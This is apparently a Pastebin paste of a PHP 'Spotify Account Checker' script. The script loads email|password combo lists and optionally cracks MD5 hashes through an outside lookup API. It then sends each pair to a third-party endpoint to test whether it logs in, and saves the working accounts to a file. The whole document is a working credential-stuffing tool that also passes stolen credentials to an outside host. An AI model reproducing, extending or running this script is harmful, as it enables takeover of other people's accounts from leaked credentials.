Guest User

[PHP] Spotify Account Checker

a guest
Sep 30th, 2018
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.15 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. function in_string($s,$as) {
  4.     $s=strtoupper($s);
  5.     if(!is_array($as)) $as=array($as);
  6.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  7.     return false;
  8. }
  9. if(empty($argv[1])) exit("List empass mana?");
  10. $file = file_get_contents($argv[1]);
  11. $data = explode("\n",$file);
  12. for($a=0;$a<count($data);$a++){
  13.         $data1 = explode("|",$data[$a]);
  14.         $email = $data1[0];
  15.         $pass = $data1[1];
  16.     if($argv[2]=="--md5"){
  17.         $get = @file_get_contents("https://lea.kz/api/hash/$pass");
  18.         $json = json_decode($get,true);
  19.         $pass = $json['password'];
  20.     }
  21.     $cek = @file_get_contents("http://nanikore-gladzid.c9users.io/source/spotify/api.php?user=$email&pass=$pass");
  22.     if (strpos($cek,"Spotify")) {
  23.                 if(!in_array($cek,explode("\n",@file_get_contents("spotify-live.txt")))){
  24.                         $h=fopen("spotify-live.txt","a");
  25.                         fwrite($h,$cek."\n");
  26.                         fclose($h);
  27.                 }
  28.         $cek = "\033[32m".$cek. "\033[0m";
  29.         }else{
  30.         $cek = "\033[31m".$cek. "\033[0m";
  31.     }
  32.         print("[$a/".count($data)."] ".$cek."\n");
  33. }
Add Comment
Please, Sign In to add comment